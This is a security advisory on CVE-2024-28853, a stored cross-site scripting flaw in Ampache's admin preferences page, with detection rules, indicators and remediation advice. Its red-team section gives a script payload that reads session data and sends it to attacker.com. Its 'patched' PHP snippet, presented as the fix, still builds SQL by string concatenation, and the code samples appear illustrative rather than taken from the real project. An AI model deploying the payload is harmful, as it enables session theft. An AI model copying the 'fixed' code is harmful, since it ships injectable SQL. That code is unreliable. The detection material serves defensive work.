CVE-2024-28853

Executive Summary

CVE-2024-28853 is a stored Cross-Site Scripting (XSS) vulnerability in Ampache, a web-based audio/video streaming application and file manager, affecting versions prior to 6.3.1. The vulnerability allows a remote authenticated attacker to inject arbitrary web scripts or HTML via crafted payloads sent to multiple parameters in the POST request to /preferences.php?action=admin_update_preferences. This stored XSS can lead to session hijacking, credential theft, or further compromise of the application and its users. The vulnerability has a low CVSS score of 3.9 due to the requirement for authentication and user interaction, but the impact is amplified in multi-tenant or shared hosting environments. No public exploit code or active exploitation has been reported as of the latest intelligence.

Supply Chain & Package Security

Ampache is a PHP-based application distributed via GitHub and its own release channels. The vulnerability is not related to any third-party package manager (NPM, PyPI, Go, Ruby). The fix is included in version 6.3.1, which should be obtained from the official Ampache GitHub repository or website. Users are advised to verify the integrity of the downloaded package using checksums provided by the vendor.

CVSS Breakdown & Threat Level

• CVSS Score: 3.9 (Low)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account.
• User Interaction (UI): Required – The victim must visit the affected page.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Low, but with potential for escalation in environments with privileged users or sensitive data.

Deep Dive & Mechanics

The vulnerability resides in the preferences.php script, specifically in the admin_update_preferences action. This endpoint is used by administrators to update global application preferences. The application fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the web interface. An attacker with administrative privileges can inject malicious JavaScript or HTML into preference fields such as site name, description, or custom CSS. When other users (including other admins) view the preferences page, the injected payload executes in their browser context.

The root cause is the lack of output encoding or input validation on the server side. The application uses $_POST data directly without applying functions like htmlspecialchars() or strip_tags() before database insertion or display. This allows arbitrary script execution.

Vulnerable vs. Patched Code

Vulnerable Code (pre-6.3.1):

// In preferences.php
$value = $_POST['pref_value'];
$sql = "UPDATE preferences SET value = '$value' WHERE id = '$pref_id'";
$db->query($sql);
// Later in rendering:
echo "<input type='text' value='$value' />";

Patched Code (6.3.1):

// In preferences.php
$value = htmlspecialchars($_POST['pref_value'], ENT_QUOTES, 'UTF-8');
$sql = "UPDATE preferences SET value = '$value' WHERE id = '$pref_id'";
$db->query($sql);
// Later in rendering:
echo "<input type='text' value='$value' />";

The patch applies htmlspecialchars() to the input before storage and display, preventing XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A valid admin account on Ampache < 6.3.1.
• Access to the preferences page.

Exploitation Steps:

1. Log in as an admin.
2. Navigate to /preferences.php?action=admin_update_preferences.
3. In a vulnerable parameter (e.g., site_name), inject a payload:

   <script>alert('XSS')</script>
   

4. Submit the form.
5. When any user visits the preferences page, the script executes.

Advanced Payload (Session Hijacking):

<script>
fetch('/api/session', {credentials: 'include'}).then(r=>r.text()).then(t=>fetch('https://attacker.com/steal?data='+t));
</script>

Blue Team

Detection:

• Monitor POST requests to /preferences.php?action=admin_update_preferences for suspicious parameters.
• Look for HTML tags or JavaScript in preference values.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search logs for preferences.php with action=admin_update_preferences and unusual parameter values.
• Check database for stored XSS payloads in the preferences table.

Indicators of Compromise (IOCs)

• Network: POST requests to /preferences.php?action=admin_update_preferences with parameters containing <script>, onerror, onload, or similar XSS patterns.
• Host: Presence of unexpected JavaScript in the preferences table of the Ampache database.
• File: Modified preferences.php or related files (if attacker has file access).
• Logs: Access logs showing repeated admin preference updates from a single IP.

Detection Engineering

YARA Rule

rule CVE_2024_28853_Ampache_XSS {
    meta:
        description = "Detects stored XSS payloads in Ampache preferences"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-28853"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['\"].*?['\"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-28853 Ampache Stored XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of stored XSS in Ampache preferences
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query: "/preferences.php?action=admin_update_preferences"
    keywords:
        - "<script"
        - "onerror"
        - "onload"
        - "javascript:"
    condition: selection and keywords
falsepositives:
    - Legitimate admin updates with benign HTML
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-28853 Ampache Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/preferences.php?action=admin_update_preferences"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

• Upgrade to Ampache version 6.3.1 or later.
• If upgrade is not possible, apply input sanitization to all preference fields using htmlspecialchars() or a similar function.

Compensating Controls:

• Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
• Restrict admin access to trusted IPs only.
• Enable Content Security Policy (CSP) headers to mitigate script execution.
• Regularly audit database for stored XSS payloads.

Long-term:

• Adopt secure coding practices, including output encoding and input validation.
• Conduct regular security reviews and penetration testing.

Valters IT
Securing Digital Frontiers